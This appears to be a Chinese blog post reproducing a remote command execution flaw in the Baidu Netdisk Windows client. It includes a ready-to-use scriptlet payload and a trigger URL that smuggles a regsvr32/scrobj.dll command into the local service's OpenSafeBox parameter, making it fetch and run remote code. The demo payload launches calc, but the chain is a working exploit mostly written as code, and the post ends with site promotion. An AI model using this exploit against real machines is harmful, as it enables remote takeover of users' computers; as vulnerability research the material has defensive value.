百度网盘Windows客户端远程命令执行漏洞复现
1- 杨CC对工具的评价
简单好用,但是需要将百度网盘的版本降低在7.59.5.14以下.
百度网盘7.59.5.104以下版本,存在命令执行漏洞
文章来源:https://www.n0o0b.com/archives/1756987096966
2- 漏洞利用说明
- YunDetectService.exe默认开机自启,无需登录,会在10000端口监听,若被挤占则+1顺延
1 | # 命令说明 |
poc.xml 用于远程加载.可以使用python -m http.server运行
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12<?xml version="1.0"?>
<scriptlet>
<registration
progid="poc"
classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
]]>
</script>
</registration>
</scriptlet>触发对应漏洞
1 | https://127.0.0.1:10000/?method=OpenSafeBox&uk=n0o0b -install regdll "C:\Windows\System32\scrobj.dll\" /u /i:http://127.0.0.1:8000/poc.xml "..\..\..\..\..\..\..\..\Users\administrator\AppData\Roaming\baidu\BaiduNetdisk" |
- 实际执行
1 | "C:\Users\admin\AppData\Roaming\baidu\BaiduNetdisk\BaiduNetdisk.exe" -opensafebox -userkey n0o0b -install regdll "C:\Windows\System32\scrobj.dll\" /u /i:http://127.0.0.1:8000/poc.xml "..\..\..\..\..\..\..\..\Users\administrator\AppData\Roaming\baidu\BaiduNetdisk" |
有可能会触发defender告警
下载文件,恶意内容加载
3- 结束语
- 需要技术文章,记得将ycc77.com 添加到书签栏哦~
- 需要资源,记得将yancy77.cn 添加到书签栏哦~
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